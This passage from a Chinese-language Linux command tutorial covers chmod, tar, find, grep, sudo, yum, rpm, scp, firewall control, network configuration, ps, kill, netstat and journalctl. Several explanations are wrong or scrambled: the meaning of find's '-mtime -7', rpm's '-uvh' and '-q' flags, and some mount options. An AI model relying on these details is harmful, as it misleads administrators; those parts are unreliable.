使用符号模式可以设置多个项目:who(用户类型),operator(操作符)和 permission(权限),每个项目的设置可以用逗号隔开。 命令 chmod 将修改 who 指定的用户类型对文件的访问权限,用户类型由一个或者多个字母在 who 的位置来说明,如 who 的符号模式表所示:

who用户类型说明
uuser文件所有者
ggroup文件所有者所在组
oothers所有其他用户
aall所有用户, 相当于 ugo

operator 的符号模式表:

Operator说明
+为指定的用户类型增加权限
-去除指定用户类型的权限
=设置指定用户权限的设置,即将用户类型的所有权限重新设置

permission 的符号模式表:

模式名字说明
r设置为可读权限
w设置为可写权限
x执行权限设置为可执行权限
X特殊执行权限只有当文件为目录文件,或者其他类型的用户有可执行权限时,才将文件权限设置可执行
ssetuid/gid当文件被执行时,根据who参数指定的用户类型设置文件的setuid或者setgid权限
t粘贴位设置粘贴位,只有超级用户可以设置该位,只有文件所有者u可以使用该位

八进制语法

chmod命令可以使用八进制数来指定权限。文件或目录的权限位是由9个权限位来控制,每三位为一组,它们分别是文件所有者(User)的读、写、执行,用户组(Group)的读、写、执行以及其它用户(Other)的读、写、执行。历史上,文件权限被放在一个比特掩码中,掩码中指定的比特位设为1,用来说明一个类具有相应的优先级。

#权限rwx二进制
7读 + 写 + 执行rwx111
6读 + 写rw-110
5读 + 执行r-x101
4只读r--100
3写 + 执行-wx011
2只写-w-010
1只执行--x001
0---000

例如, 765 将这样解释:

  • 所有者的权限用数字表达:属主的那三个权限位的数字加起来的总和。如 rwx ,也就是 4+2+1 ,应该是 7。
  • 用户组的权限用数字表达:属组的那个权限位数字的相加的总和。如 rw- ,也就是 4+2+0 ,应该是 6。
  • 其它用户的权限数字表达:其它用户权限位的数字相加的总和。如 r-x ,也就是 4+0+1 ,应该是 5。

六、打包与解压

6.1 说明

.zip、.rar        //windows系统中压缩文件的扩展名
.tar              //Linux中打包文件的扩展名
.gz               //Linux中压缩文件的扩展名
.tar.gz           //Linux中打包并压缩文件的扩展名

6.2 打包文件

tar -zcvf 打包压缩后的文件名 要打包的文件
参数说明:
z:调用gzip压缩命令进行压缩; 
c:打包文件; 
v:显示运行过程; 
f:指定文件名;
示例:
tar -zcvf a.tar file1 file2,...      //多个文件压缩打包

6.3 解压文件

tar -zxvf a.tar                      //解包至当前目录
tar -zxvf a.tar -C /usr------        //指定解压的位置
unzip test.zip             //解压*.zip文件 
unzip -l test.zip          //查看*.zip文件的内容 

七、其他常用命令

7.1 find(查询目标文件)

Linux find 命令用于在指定目录下查找文件和目录。 它可以使用不同的选项来过滤和限制查找的结果。 语法

find [path] [expression]
  • 参数说明 :
    • path 是要查找的目录路径,可以是一个目录或文件名,也可以是多个路径,多个路径之间用空格分隔,如果未指定路径,则默认为当前目录。
    • expression 是可选参数,用于指定查找的条件,可以是文件名、文件类型、文件大小等等。
    • expression 中可使用的选项有二三十个之多,以下列出最常用的部份:
      • -name pattern:按文件名查找,支持使用通配符 * 和 ?
      • -type type:按文件类型查找,可以是 f(普通文件)、d(目录)、l(符号链接)等。
      • -size [+-]size[cwbkMG]:按文件大小查找,支持使用 + 或 - 表示大于或小于指定大小,单位可以是 c(字节)、w(字数)、b(块数)、k(KB)、M(MB)或 G(GB)。
      • -mtime days:按修改时间查找,支持使用 + 或 - 表示在指定天数前或后,days 是一个整数表示天数。
      • -user username:按文件所有者查找。
    • -group groupname:按文件所属组查找。
  • find 命令中用于时间的参数如下:
    • -amin n:查找在 n 分钟内被访问过的文件。
    • -atime n:查找在 n*24 小时内被访问过的文件。
    • -cmin n:查找在 n 分钟内状态发生变化的文件(例如权限)。
    • -ctime n:查找在 n*24 小时内状态发生变化的文件(例如权限)。
    • -mmin n:查找在 n 分钟内被修改过的文件。
    • -mtime n:查找在 n*24 小时内被修改过的文件。
    • 在这些参数中,n 可以是一个正数、负数或零。正数表示在指定的时间内修改或访问过的文件,负数表示在指定的时间之前修改或访问过的文件,零表示在当前时间点上修改或访问过的文件。
    • 例如:-mtime 0 表示查找今天修改过的文件,-mtime -7 表示查找一周以前修改过的文件。
  • 关于时间 n 参数的说明:
    • +n:查找比 n 天前更早的文件或目录。
    • -n:查找在 n 天内更改过属性的文件或目录。
    • n:查找在 n 天前(指定那一天)更改过属性的文件或目录。
find . -name "*.c"     //将目前目录及其子目录下所有延伸档名是 c 的文件列出来
find . -type f         //将目前目录其其下子目录中所有一般文件列出
find . -ctime -20      //将目前目录及其子目录下所有最近 20 天内更新过的文件列出
find /var/log -type f -mtime +7 -ok rm {} \;     //查找/var/log目录中更改时间在7日以前的普通文件,并在删除之前询问它们
find . -type f -perm 644 -exec ls -l {} \;       //查找前目录中文件属主具有读、写权限,并且文件所属组的用户和其他用户具有读权限的文件
find / -type f -size 0 -exec ls -l {} \;         //为了查找系统中所有文件长度为0的普通文件,并列出它们的完整路径

7.2 whereis(查询目标文件)

whereis ls             //将和ls文件相关的文件都查找出来

7.3 which(环境变量$PATH设置的目录里查找符合条件的文件)

说明:which指令会在环境变量$PATH设置的目录里查找符合条件的文件。
which bash             //查看指令"bash"的绝对路径

7.4 sudo(系统管理者的身份执行指令)

说明:sudo命令以系统管理者的身份执行指令,也就是说,经由 sudo 所执行的指令就好像是 root 亲自执行。需要输入自己账户密码。
使用权限:在 /etc/sudoers 中有出现的使用者
sudo -l                              //列出目前的权限
$ sudo -u yao vi ~www/index.html    //以 yao 用户身份编辑  home 目录下www目录中的 index.html 文件

7.5 grep(查找文件里内容)

Linux grep (global regular expression) 命令用于查找文件里符合条件的字符串或正则表达式。 语法:

grep [options] pattern [files]

grep [-abcEFGhHilLnqrsvVwxy][-A<显示行数>][-B<显示列数>][-C<显示列数>][-d<进行动作>][-e<范本样式>][-f<范本文件>][--help][范本样式][文件或目录...]
  • pattern - 表示要查找的字符串或正则表达式。
  • files - 表示要查找的文件名,可以同时查找多个文件,如果省略 files 参数,则默认从标准输入中读取数据。
  • 常用选项:
    • -i:忽略大小写进行匹配。
    • -v:反向查找,只打印不匹配的行。
    • -n:显示匹配行的行号。
    • -r:递归查找子目录中的文件。
    • -l:只打印匹配的文件名。
    • -c:只打印匹配的行数。
grep hello file.txt                  //在文件 file.txt 中查找字符串 "hello",并打印匹配的行
grep -i "the" demo_file              //在文件中查找字符串the(不区分大小写)
grep -A 3 -i "example" demo_text     //输出成功匹配的行,以及该行之后的三行
grep -r "ramesh" *                   //在一个文件夹中递归查询包含指定字符串的文件

7.6 service

说明:service命令用于运行System V init脚本,这些脚本一般位于/etc/init.d文件下,这个命令可以直接运行这个文件夹里面的脚本,而不用加上路径

service ssh status      //查看服务状态 
service --status-all    //查看所有服务状态 
service ssh restart     //重启服务 

7.7 free(显示系统当前内存的使用情况)

Linux free命令用于显示内存状态。 free指令会显示内存的使用情况,包括实体内存,虚拟的交换文件内存,共享内存区段,以及系统核心使用的缓冲区等。 语法

free [-bkmotV][-s <间隔秒数>]

参数说明

  • -b  以Byte为单位显示内存使用情况。
  • -k  以KB为单位显示内存使用情况。
  • -m  以MB为单位显示内存使用情况。
  • -h  以合适的单位显示内存使用情况,最大为三位数,自动计算对应的单位值。单位有:
    B = bytes K = kilos M = megas G = gigas T = teras
  • -o  不显示缓冲区调节列。
  • -s<间隔秒数>  持续观察内存使用状况。
  • -t  显示内存总和列。
  • -V  显示版本信息。
free -g            //以G为单位输出内存的使用量,-g为GB,-m为MB,-k为KB,-b为字节 
free -t            //查看所有内存的汇总

7.8 top(实时系统监控工具)

Linux top 是一个在 Linux 和其他类 Unix 系统上常用的实时系统监控工具。它提供了一个动态的、交互式的实时视图,显示系统的整体性能信息以及正在运行的进程的相关信息。 语法

top [-] [d delay] [q] [c] [S] [s] [i] [n] [b]

参数说明

  • -d <秒数>:指定 top 命令的刷新时间间隔,单位为秒。
  • -n <次数>:指定 top 命令运行的次数后自动退出。
  • -p <进程ID>:仅显示指定进程ID的信息。
  • -u <用户名>:仅显示指定用户名的进程信息。
  • -H:在进程信息中显示线程详细信息。
  • -i:不显示闲置(idle)或无用的进程。
  • -b:以批处理(batch)模式运行,直接将结果输出到文件。
  • -c:显示完整的命令行而不截断。
  • -S:累计显示进程的 CPU 使用时间。
top               //显示当前系统中占用资源最多的一些进程, shift+m 按照内存大小查看

7.10 mount(挂载Linux系统外的文件)

它用于挂载Linux系统外的文件。 语法

mount [-hV]
mount -a [-fFnrsvw] [-t vfstype]
mount [-fnrsvw] [-o options [,...]] device | dir
mount [-fnrsvw] [-t vfstype] [-o options] device dir

参数说明:

  • -V:显示程序版本
  • -h:显示辅助讯息
  • -v:显示较讯息,通常和 -f 用来除错。
  • -a:将 /etc/fstab 中定义的所有档案系统挂上。
  • -F:这个命令通常和 -a 一起使用,它会为每一个 mount 的动作产生一个行程负责执行。在系统需要挂上大量 NFS 档案系统时可以加快挂上的动作。
  • -f:通常用在除错的用途。它会使 mount 并不执行实际挂上的动作,而是模拟整个挂上的过程。通常会和 -v 一起使用。
  • -n:一般而言,mount 在挂上后会在 /etc/mtab 中写入一笔资料。但在系统中没有可写入档案系统存在的情况下可以用这个选项取消这个动作。
  • -s-r:等于 -o ro
  • -w:等于 -o rw
  • -L:将含有特定标签的硬盘分割挂上。
  • -U:将档案分割序号为 的档案系统挂下。-L 和 -U 必须在/proc/partition 这种档案存在时才有意义。
  • -t:指定档案系统的型态,通常不必指定。mount 会自动选择正确的型态。
  • -o async:打开非同步模式,所有的档案读写动作都会用非同步模式执行。
  • -o sync:在同步模式下执行。
  • -o atime、-o noatime:当 atime 打开时,系统会在每次读取档案时更新档案的『上一次调用时间』。当我们使用 flash 档案系统时可能会选项把这个选项关闭以减少写入的次数。
  • -o auto、-o noauto:打开/关闭自动挂上模式。
  • -o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async.
  • -o dev、-o nodev-o exec、-o noexec允许执行档被执行。
  • -o suid、-o nosuid:
  • 允许执行档在 root 权限下执行。
  • -o user、-o nouser:使用者可以执行 mount/umount 的动作。
  • -o remount:将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统,现在用可读写的模式重新挂上。
  • -o ro:用唯读模式挂上。
  • -o rw:用可读写模式挂上。
  • -o loop=:使用 loop 模式用来将一个档案当成硬盘分割挂上系统。
mount /dev/sdb1 /u01              //挂载一个文件系统,需要先创建一个目录,然后将这个文件系统挂载到这个目录上
dev/sdb1 /u01 ext2 defaults 0 2   //添加到fstab中进行自动挂载,这样任何时候系统重启的时候,文件系统都会被加载 

Linux uname(英文全拼:unix name)命令用于显示操作系统信息,例如内核版本、主机名、处理器类型等。。

7.11 uname

uname 可显示电脑以及操作系统的相关信息。 说明:uname可以显示一些重要的系统信息,例如内核名称、主机名、内核版本号、处理器类型之类的信息 语法

uname [-amnrsv][--help][--version]

参数说明

  • -a 或--all  显示全部的信息,包括内核名称、主机名、操作系统版本、处理器类型和硬件架构等。。
  • -m 或--machine  显示处理器类型。
  • -n 或--nodename  显示主机名。
  • -r 或--release  显示内核版本号。
  • -s 或--sysname  显示操作系统名称。
  • -v  显示操作系统的版本。
  • --help  显示帮助。
  • --version  显示版本信息。
  • -p 显示处理器类型(与 -m 选项相同)。
uname -a

7.12 yum

  • 常用命令
    1. 列出所有可更新的软件清单命令:yum check-update
    2. 更新所有软件命令:yum update
    3. 仅安装指定的软件命令:yum install <package_name>
    4. 仅更新指定的软件命令:yum update <package_name>
    5. 列出所有可安裝的软件清单命令:yum list
    6. 删除软件包命令:yum remove <package_name>
    7. 查找软件包命令:yum search <keyword>
    8. 清除缓存命令:
      • yum clean packages: 清除缓存目录下的软件包
      • yum clean headers: 清除缓存目录下的 headers
      • yum clean oldheaders: 清除缓存目录下旧的 headers
      • yum clean, yum clean all (= yum clean packages; yum clean oldheaders) :清除缓存目录下的软件包及旧的 headers

7.13 rpm

语法

rpm [-acdhilqRsv][-b<完成阶段><套间档>+][-e<套件挡>][-f<文件>+][-i<套件档>][-p<套件档>+][-U<套件档>][-vv][--addsign<套件档>+][--allfiles][--allmatches][--badreloc][--buildroot<根目录>][--changelog][--checksig<套件档>+][--clean][--dbpath<数据库目录>][--dump][--excludedocs][--excludepath<排除目录>][--force][--ftpproxy<主机名称或IP地址>][--ftpport<通信端口>][--help][--httpproxy<主机名称或IP地址>][--httpport<通信端口>][--ignorearch][--ignoreos][--ignoresize][--includedocs][--initdb][justdb][--nobulid][--nodeps][--nofiles][--nogpg][--nomd5][--nopgp][--noorder][--noscripts][--notriggers][--oldpackage][--percent][--pipe<执行指令>][--prefix<目的目录>][--provides][--queryformat<档头格式>][--querytags][--rcfile<配置档>][--rebulid<套件档>][--rebuliddb][--recompile<套件档>][--relocate<原目录>=<新目录>][--replacefiles][--replacepkgs][--requires][--resign<套件档>+][--rmsource][--rmsource<文件>][--root<根目录>][--scripts][--setperms][--setugids][--short-circuit][--sign][--target=<安装平台>+][--test][--timecheck<检查秒数>][--triggeredby<套件档>][--triggers][--verify][--version][--whatprovides<功能特性>][--whatrequires<功能特性>]
  • 参数说明
    • -a  查询所有套件。
    • -b<完成阶段><套件档>+或-t <完成阶段><套件档>+  设置包装套件的完成阶段,并指定套件档的文件名称。
    • -c  只列出组态配置文件,本参数需配合"-l"参数使用。
    • -d  只列出文本文件,本参数需配合"-l"参数使用。
    • -e<套件档>或--erase<套件档>  删除指定的套件。
    • -f<文件>+  查询拥有指定文件的套件。
    • -h或--hash  套件安装时列出标记。
    • -i  显示套件的相关信息。
    • -i<套件档>或--install<套件档>  安装指定的套件档。
    • -l  显示套件的文件列表。
    • -p<套件档>+  查询指定的RPM套件档。
    • -q  使用询问模式,当遇到任何问题时,rpm指令会先询问用户。
    • -R  显示套件的关联性信息。
    • -s  显示文件状态,本参数需配合"-l"参数使用。
    • -U<套件档>或--upgrade<套件档> 升级指定的套件档。
    • -v  显示指令执行过程。
    • -vv  详细显示指令执行过程,便于排错。
    • -addsign<套件档>+  在指定的套件里加上新的签名认证。
    • --allfiles  安装所有文件。
    • --allmatches  删除符合指定的套件所包含的文件。
    • --badreloc  发生错误时,重新配置文件。
    • --buildroot<根目录>  设置产生套件时,欲当作根目录的目录。
    • --changelog  显示套件的更改记录。
    • --checksig<套件档>+  检验该套件的签名认证。
    • --clean  完成套件的包装后,删除包装过程中所建立的目录。
    • --dbpath<数据库目录>  设置欲存放RPM数据库的目录。
    • --dump  显示每个文件的验证信息。本参数需配合"-l"参数使用。
    • --excludedocs  安装套件时,不要安装文件。
    • --excludepath<排除目录>  忽略在指定目录里的所有文件。
    • --force  强行置换套件或文件。
    • --ftpproxy<主机名称或IP地址>  指定FTP代理服务器。
    • --ftpport<通信端口>  设置FTP服务器或代理服务器使用的通信端口。
    • --help  在线帮助。
    • --httpproxy<主机名称或IP地址>  指定HTTP代理服务器。
    • --httpport<通信端口>  设置HTTP服务器或代理服务器使用的通信端口。
    • --ignorearch  不验证套件档的结构正确性。
    • --ignoreos  不验证套件档的结构正确性。
    • --ignoresize  安装前不检查磁盘空间是否足够。
    • --includedocs  安装套件时,一并安装文件。
    • --initdb  确认有正确的数据库可以使用。
    • --justdb  更新数据库,当不变动任何文件。
    • --nobulid  不执行任何完成阶段。
    • --nodeps  不验证套件档的相互关联性。
    • --nofiles  不验证文件的属性。
    • --nogpg  略过所有GPG的签名认证。
    • --nomd5  不使用MD5编码演算确认文件的大小与正确性。
    • --nopgp  略过所有PGP的签名认证。
    • --noorder  不重新编排套件的安装顺序,以便满足其彼此间的关联性。
    • --noscripts  不执行任何安装Script文件。
    • --notriggers  不执行该套件包装内的任何Script文件。
    • --oldpackage  升级成旧版本的套件。
    • --percent  安装套件时显示完成度百分比。
    • --pipe<执行指令>  建立管道,把输出结果转为该执行指令的输入数据。
    • --prefix<目的目录>  若重新配置文件,就把文件放到指定的目录下。
    • --provides  查询该套件所提供的兼容度。
    • --queryformat<档头格式>  设置档头的表示方式。
    • --querytags  列出可用于档头格式的标签。
    • --rcfile<配置文件>  使用指定的配置文件。
    • --rebulid<套件档>  安装原始代码套件,重新产生二进制文件的套件。
    • --rebuliddb  以现有的数据库为主,重建一份数据库。
    • --recompile<套件档>  此参数的效果和指定"--rebulid"参数类似,当不产生套件档。
    • --relocate<原目录>=<新目录>  把本来会放到原目录下的文件改放到新目录。
    • --replacefiles  强行置换文件。
    • --replacepkgs  强行置换套件。
    • --requires  查询该套件所需要的兼容度。
    • --resing<套件档>+  删除现有认证,重新产生签名认证。
    • --rmsource  完成套件的包装后,删除原始代码。
    • --rmsource<文件>  删除原始代码和指定的文件。
    • --root<根目录>  设置欲当作根目录的目录。
    • --scripts  列出安装套件的Script的变量。
    • --setperms  设置文件的权限。
    • --setugids  设置文件的拥有者和所属群组。
    • --short-circuit  直接略过指定完成阶段的步骤。
    • --sign  产生PGP或GPG的签名认证。
    • --target=<安装平台>+  设置产生的套件的安装平台。
    • --test  仅作测试,并不真的安装套件。
    • --timecheck<检查秒数>  设置检查时间的计时秒数。
    • --triggeredby<套件档>  查询该套件的包装者。
    • --triggers  展示套件档内的包装Script。
    • --verify  此参数的效果和指定"-q"参数相同。
    • --version  显示版本信息。
    • --whatprovides<功能特性>  查询该套件对指定的功能特性所提供的兼容度。
    • --whatrequires<功能特性>  查询该套件对指定的功能特性所需要的兼容度。
说明:插件安装命令
rpm -ivh httpd-2.2.3-22.0.1.el5.i386.rpm      //使用rpm文件安装apache 
rpm -uvh httpd-2.2.3-22.0.1.el5.i386.rpm      //使用rpm更新apache 
rpm -ev httpd                                 //卸载/删除apache 

7.14 date

Linux date 命令可以用来显示或设定系统的日期与时间。 语法

date [OPTION]... [+FORMAT]
date [-u] [-d datestr] [-s datestr] [--utc] [--universal] [--date=datestr] [--set=datestr] [--help] [--version] [+FORMAT] [MMDDhhmm[[CC]YY][.ss]]
  • 可选参数
    • -d, --date=STRING:通过字符串显示时间格式,字符串不能是'now'。
    • -f, --file=DATEFILE:类似于--date; 一次从DATEFILE处理一行。
    • -I[FMT], --iso-8601[=FMT]:按照 ISO 8601 格式输出时间,FMT 可以为'date'(默认),'hours','minutes','seconds','ns'。 可用于设置日期和时间的精度,例如:2006-08-14T02:34:56-0600。
    • -R, --rfc-2822 : 按照 RFC 5322 格式输出时间和日期,例如: Mon, 14 Aug 2006 02:34:56 -0600。
    • --rfc-3339=FMT:按照 RFC 3339 格式输出,FMT 可以为'date', 'seconds','ns'中的一个,可用于设置日期和时间的精度, 例如:2006-08-14 02:34:56-06:00。
    • -r, --reference=FILE:显示文件的上次修改时间。
    • -s, --set=STRING:根据字符串设置系统时间。
    • -u, --utc, --universal:显示或设置协调世界时(UTC)。
    • --help:显示帮助信息。
    • --version:输出版本信息。
date -s "01/31/2010 23:59:53"   ///设置系统时间

7.16 ftp

ftp IP/hostname    //访问ftp服务器
mls *.html -       //显示远程主机上文件列表

7.17 scp

Linux scp 命令用于 Linux 之间复制文件和目录。 scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。 scp 是加密的,rcp 是不加密的,scp 是 rcp 的加强版。 语法

scp [-1246BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
[-l limit] [-o ssh_option] [-P port] [-S program]
[[user@]host1:]file1 [...] [[user@]host2:]file2

简易写法:

scp [可选参数] file_source file_target 
  • 参数说明:
    • -1: 强制scp命令使用协议ssh1
    • -2: 强制scp命令使用协议ssh2
    • -4: 强制scp命令只使用IPv4寻址
    • -6: 强制scp命令只使用IPv6寻址
    • -B: 使用批处理模式(传输过程中不询问传输口令或短语)
    • -C: 允许压缩。(将-C标志传递给ssh,从而打开压缩功能)
    • -p:保留原文件的修改时间,访问时间和访问权限。
    • -q: 不显示传输进度条。
    • -r: 递归复制整个目录。
    • -v:详细方式显示输出。scp和ssh(1)会显示出整个过程的调试信息。这些信息用于调试连接,验证和配置问题。
    • -c cipher: 以cipher将数据传输进行加密,这个选项将直接传递给ssh。
    • -F ssh_config: 指定一个替代的ssh配置文件,此参数直接传递给ssh。
    • -i identity_file: 从指定文件中读取传输时使用的密钥文件,此参数直接传递给ssh。
    • -l limit: 限定用户所能使用的带宽,以Kbit/s为单位。
    • -o ssh_option: 如果习惯于使用ssh_config(5)中的参数传递方式,
    • -P port:注意是大写的P, port是指定数据传输用到的端口号
    • -S program: 指定加密传输时所使用的程序。此程序必须能够理解ssh(1)的选项。
scp /opt/data.txt  192.168.1.101:/opt/    //将本地opt目录下的data文件发送到192.168.1.101服务器的opt目录下

八、系统管理

8.1 防火墙操作

service iptables status      //查看iptables服务的状态
service iptables start       //开启iptables服务
service iptables stop        //停止iptables服务
service iptables restart     //重启iptables服务
chkconfig iptables off       //关闭iptables服务的开机自启动
chkconfig iptables on        //开启iptables服务的开机自启动
##centos7 防火墙操作
systemctl status firewalld.service     //查看防火墙状态
systemctl stop firewalld.service       //关闭运行的防火墙
systemctl disable firewalld.service    //永久禁止防火墙服务

8.2 修改主机名(CentOS 7)

hostnamectl set-hostname 主机名

8.3 ifconfig(查看网络)

Linux ifconfig命令用于显示或设置网络设备。 ifconfig可设置网络设备的状态,或是显示目前的设置。 语法

ifconfig [网络设备][down up -allmulti -arp -promisc][add<地址>][del<地址>][<hw<网络设备类型><硬件地址>][io_addr<I/O地址>][irq<IRQ地址>][media<网络媒介类型>][mem_start<内存地址>][metric<数目>][mtu<字节>][netmask<子网掩码>][tunnel<地址>][-broadcast<地址>][-pointopoint<地址>][IP地址]
  • 参数说明
    • add<地址> 设置网络设备IPv6的IP地址。
    • del<地址> 删除网络设备IPv6的IP地址。
    • down 关闭指定的网络设备。
    • <hw<网络设备类型><硬件地址> 设置网络设备的类型与硬件地址。
    • io_addr<I/O地址> 设置网络设备的I/O地址。
    • irq<IRQ地址> 设置网络设备的IRQ。
    • media<网络媒介类型> 设置网络设备的媒介类型。
    • mem_start<内存地址> 设置网络设备在主内存所占用的起始地址。
    • metric<数目> 指定在计算数据包的转送次数时,所要加上的数目。
    • mtu<字节> 设置网络设备的MTU。
    • netmask<子网掩码> 设置网络设备的子网掩码。
    • tunnel<地址> 建立IPv4与IPv6之间的隧道通信地址。
    • up 启动指定的网络设备。
    • -broadcast<地址> 将要送往指定地址的数据包当成广播数据包来处理。
    • -pointopoint<地址> 与指定地址的网络设备建立直接连线,此模式具有保密功能。
    • -promisc 关闭或启动指定网络设备的promiscuous模式。
    • [IP地址] 指定网络设备的IP地址。
    • [网络设备] 指定网络设备的名称。
ifconfig

8.4 修改IP

修改网络配置文件,文件地址:/etc/sysconfig/network-scripts/ifcfg-eth0
------------------------------------------------
主要修改以下配置:  
TYPE=Ethernet               //网络类型
BOOTPROTO=static            //静态IP
DEVICE=ens00                //网卡名
IPADDR=192.168.1.100        //设置的IP
NETMASK=255.255.255.0       //子网掩码
GATEWAY=192.168.1.1         //网关
DNS1=192.168.1.1            //DNS
DNS2=8.8.8.8                //备用DNS
ONBOOT=yes                  //系统启动时启动此设置
-------------------------------------------------
修改保存以后使用命令重启网卡:service network restart

8.5 配置映射

修改文件: vi /etc/hosts
在文件最后添加映射地址,示例如下:
192.168.1.101  node1
192.168.1.102  node2
192.168.1.103  node3
配置好以后保存退出,输入命令:ping node1 ,可见实际 ping 的是 192.168.1.101。

8.6 ps(查看进程)

Linux ps (英文全拼:process status)命令用于显示当前进程的状态,类似于 windows 的任务管理器。 语法

ps [options] [--help]
  • 参数
    • ps 的参数非常多, 在此仅列出几个常用的参数并大略介绍含义
    • -A 列出所有的进程
    • -w 显示加宽可以显示较多的资讯
    • -au 显示较详细的资讯
    • -aux 显示所有包含其他使用者的进程
    • au(x) 输出格式 :
      • USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
    • USER: 行程拥有者
    • PID: pid
    • %CPU: 占用的 CPU 使用率
    • %MEM: 占用的记忆体使用率
    • VSZ: 占用的虚拟记忆体大小
    • RSS: 占用的记忆体大小
    • TTY: 终端的次要装置号码 (minor device number of tty)
    • STAT: 该行程的状态:
      • D: 无法中断的休眠状态 (通常 IO 的进程)
      • R: 正在执行中
      • S: 静止状态
      • T: 暂停执行
      • Z: 不存在但暂时无法消除
      • W: 没有足够的记忆体分页可分配
      • <: 高优先序的行程
      • N: 低优先序的行程
      • L: 有记忆体分页分配并锁在记忆体内 (实时系统或捱A I/O)
    • START: 行程开始时间
    • TIME: 执行的时间
    • COMMAND:所执行的指令
ps -ef         //查看所有正在运行的进程
ps -ef | grep 进程关键字    //查找指定进程格式:

8.7 kill(结束进程)

Linux kill 命令用于删除执行中的程序或工作。 kill 可将指定的信息送至程序。 预设的信息为 SIGTERM(15),可将指定程序终止。 预设的信息为 SIGKILL(9) 信息尝试强制删除程序。 程序或工作的编号可利用 ps 指令或 jobs 指令查看。 语法

kill [-s <信息名称或编号>][程序] 或 kill [-l <信息编号>]
  • 参数说明
    • -l <信息编号>  若不加<信息编号>选项,则 -l 参数会列出全部的信息名称。
    • -s <信息名称或编号>  指定要送出的信息。
    • [程序]  [程序]可以是程序的PID或是PGID,也可以是工作编号。
  • 使用 kill -l 命令列出所有可用信号,最常用的信号是:
    • 1 (HUP):重新加载进程。
    • 9 (KILL):杀死一个进程。
    • 15 (TERM):正常停止一个进程。
kill pid       //杀死该pid的进程
kill -9 pid    //强制杀死该进程   

8.8 netstat(显示网络状态)

Linux netstat 命令用于显示网络状态。 利用 netstat 指令可让你得知整个 Linux 系统的网络情况。 语法

netstat [-acCeFghilMnNoprstuvVwx][-A<网络类型>][--ip]
  • 参数说明
    • -a或--all 显示所有连线中的Socket。
    • -A<网络类型>或--<网络类型> 列出该网络类型连线中的相关地址。
    • -c或--continuous 持续列出网络状态。
    • -C或--cache 显示路由器配置的快取信息。
    • -e或--extend 显示网络其他相关信息。
    • -F或--fib 显示路由缓存。
    • -g或--groups 显示多重广播功能群组组员名单。
    • -h或--help 在线帮助。
    • -i或--interfaces 显示网络界面信息表单。
    • -l或--listening 显示监控中的服务器的Socket。
    • -M或--masquerade 显示伪装的网络连线。
    • -n或--numeric 直接使用IP地址,而不通过域名服务器。
    • -N或--netlink或--symbolic 显示网络硬件外围设备的符号连接名称。
    • -o或--timers 显示计时器。
    • -p或--programs 显示正在使用Socket的程序识别码和程序名称。
    • -r或--route 显示Routing Table。
    • -s或--statistics 显示网络工作信息统计表。
    • -t或--tcp 显示TCP传输协议的连线状况。
    • -u或--udp 显示UDP传输协议的连线状况。
    • -v或--verbose 显示指令执行过程。
    • -V或--version 显示版本信息。
    • -w或--raw 显示RAW传输协议的连线状况。
    • -x或--unix 此参数的效果和指定"-A unix"参数相同。
    • --ip或--inet 此参数的效果和指定"-A inet"参数相同。
netstat -an    //查看当前系统端口
netstat -an | grep 8080     //查看指定端口
netstat -a     //显示详细的网络状况
netstat -nu    //显示当前户籍UDP连接状况
netstat -i     //显示网卡列表

8.9 ping

Linux ping 命令用于检测主机。 执行 ping 指令会使用 ICMP 传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。 语法

ping [-dfnqrRv][-c<完成次数>][-i<间隔秒数>][-I<网络界面>][-l<前置载入>][-p<范本样式>][-s<数据包大小>][-t<存活数值>][主机名称或IP地址]
  • 参数说明
    • -d 使用Socket的SO_DEBUG功能。
    • -c <完成次数> 设置完成要求回应的次数。
    • -f 极限检测。
    • -i<间隔秒数> 指定收发信息的间隔时间。
    • -I<网络界面> 使用指定的网络接口送出数据包。
    • -l<前置载入> 设置在送出要求信息之前,先行发出的数据包。
    • -n 只输出数值。
    • -p<范本样式> 设置填满数据包的范本样式。
    • -q 不显示指令执行过程,开头和结尾的相关信息除外。
    • -r 忽略普通的Routing Table,直接将数据包送到远端主机上。
    • -R 记录路由过程。
    • -s<数据包大小> 设置数据包的大小。
    • -t<存活数值> 设置存活数值TTL的大小。
    • -v 详细显示指令的执行过程。
    • -w <deadline> 在 deadline 秒后退出。
    • -W <timeout> 在等待 timeout 秒后开始执行。
ping IP        //查看与此IP地址的连接情况

8.10 远程主机

ssh IP       //远程主机,需要输入用户名和密码

九、磁盘管理

十、工具大全

1. 日志信息的工具

1.1 journalctl

  • journalctl 是 systemd-journald 服务的一个前端,用于检查和查询系统日志。
  • 它使用 systemd 的日志系统,将日志信息存储在二进制日志文件中,这些文件通常位于 /var/log/journal/ 目录下。
  • journalctl 提供了强大的查询功能,允许按时间范围、单元(service)、日志级别等条件来过滤日志信息。
  • 它支持彩色输出和更友好的格式化,使得阅读日志更加方便。 语法
journalctl [选项...] [匹配项...]

参数说明

     --system                显示系统日志
     --user                  显示当前用户的用户日志
  -M --machine=CONTAINER     对本地容器进行操作
  -S --since=DATE            显示不早于指定日期的条目
  -U --until=DATE            显示不晚于指定日期的条目
  -c --cursor=CURSOR         从指定的游标开始显示条目
     --after-cursor=CURSOR   显示指定游标之后的条目
     --show-cursor           在所有条目后打印游标
     --cursor-file=FILE      显示文件中游标后的条目并更新文件
  -b --boot[=ID]             显示当前启动或指定的启动
     --list-boots            显示有关记录启动的简洁信息
  -k --dmesg                 显示当前启动的内核消息日志
  -u --unit=UNIT             显示指定单元的日志
     --user-unit=UNIT        显示指定用户单元的日志
  -t --identifier=STRING     显示具有指定syslog标识符的条目
  -p --priority=RANGE        显示具有指定优先级的条目
     --facility=FACILITY...  显示具有指定设施的条目
  -g --grep=PATTERN          显示与PATTERN匹配的MESSAGE的条目
     --case-sensitive[=BOOL] 强制进行大小写敏感或不敏感的匹配
  -e --pager-end             在分页器中立即跳到末尾
  -f --follow                跟踪日志
  -n --lines[=INTEGER]       要显示的日志条目数量
     --no-tail               即使在跟踪模式下也显示所有行
  -r --reverse               先显示最新的条目
  -o --output=STRING         改变日志输出模式 (short, short-precise,
                               short-iso, short-iso-precise, short-full,
                               short-monotonic, short-unix, verbose, export,
                               json, json-pretty, json-sse, json-seq, cat,
                               with-unit)
     --output-fields=LIST    在verbose/export/json模式下选择要打印的字段
